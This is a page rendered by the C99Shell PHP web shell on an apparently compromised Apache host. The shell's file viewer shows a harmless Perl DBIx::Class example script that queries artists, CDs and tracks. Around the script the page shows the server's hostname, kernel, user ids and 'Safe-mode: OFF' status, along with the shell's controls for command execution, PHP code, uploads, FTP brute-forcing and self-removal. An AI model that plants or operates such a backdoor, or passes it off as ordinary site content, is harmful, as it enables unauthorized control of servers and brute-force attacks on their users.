!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/usr/share/doc/perl-DBIx-Class/examples/Schema/   drwxr-xr-x
Free 6181.6 GB of 6262.8 GB (98.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     testdb.pl (2.81 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

use warnings;
use strict;

use lib '.';
use MyApp::Schema;

use Path::Class 'file';
my $db_fn = file($INC{'MyApp/Schema.pm'})->dir->parent->file('db/example.db');

# for other DSNs, e.g. MySql, see the perldoc for the relevant dbd
# driver, e.g perldoc L<DBD::mysql>.
my $schema = MyApp::Schema->connect("dbi:SQLite:$db_fn");

get_tracks_by_cd('Bad');
get_tracks_by_artist('Michael Jackson');

get_cd_by_track('Stan');
get_cds_by_artist('Michael Jackson');

get_artist_by_track('Dirty Diana');
get_artist_by_cd('The Marshall Mathers LP');


sub get_tracks_by_cd {
    my $cdtitle = shift;
    print "get_tracks_by_cd($cdtitle):\n";
    my $rs = $schema->resultset('Track')->search(
        {
            'cd.title' => $cdtitle
        },
        {
            join     => [qw/ cd /],
        }
    );
    while (my $track = $rs->next) {
        print $track->title . "\n";
    }
    print "\n";
}

sub get_tracks_by_artist {
    my $artistname = shift;
    print "get_tracks_by_artist($artistname):\n";
    my $rs = $schema->resultset('Track')->search(
        {
            'artist.name' => $artistname
        },
        {
            join => {
                'cd' => 'artist'
            },
        }
    );
    while (my $track = $rs->next) {
        print $track->title . " (from the CD '" . $track->cd->title
          . "')\n";
    }
    print "\n";
}

sub get_cd_by_track {
    my $tracktitle = shift;
    print "get_cd_by_track($tracktitle):\n";
    my $rs = $schema->resultset('Cd')->search(
        {
            'tracks.title' => $tracktitle
        },
        {
            join     => [qw/ tracks /],
        }
    );
    my $cd = $rs->first;
    print $cd->title . " has the track '$tracktitle'.\n\n";
}

sub get_cds_by_artist {
    my $artistname = shift;
    print "get_cds_by_artist($artistname):\n";
    my $rs = $schema->resultset('Cd')->search(
        {
            'artist.name' => $artistname
        },
        {
            join     => [qw/ artist /],
        }
    );
    while (my $cd = $rs->next) {
        print $cd->title . "\n";
    }
    print "\n";
}

sub get_artist_by_track {
    my $tracktitle = shift;
    print "get_artist_by_track($tracktitle):\n";
    my $rs = $schema->resultset('Artist')->search(
        {
            'tracks.title' => $tracktitle
        },
        {
            join => {
                'cds' => 'tracks'
            }
        }
    );
    my $artist = $rs->first;
    print $artist->name . " recorded the track '$tracktitle'.\n\n";
}

sub get_artist_by_cd {
    my $cdtitle = shift;
    print "get_artist_by_cd($cdtitle):\n";
    my $rs = $schema->resultset('Artist')->search(
        {
            'cds.title' => $cdtitle
        },
        {
            join     => [qw/ cds /],
        }
    );
    my $artist = $rs->first;
    print $artist->name . " recorded the CD '$cdtitle'.\n\n";
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0123 ]--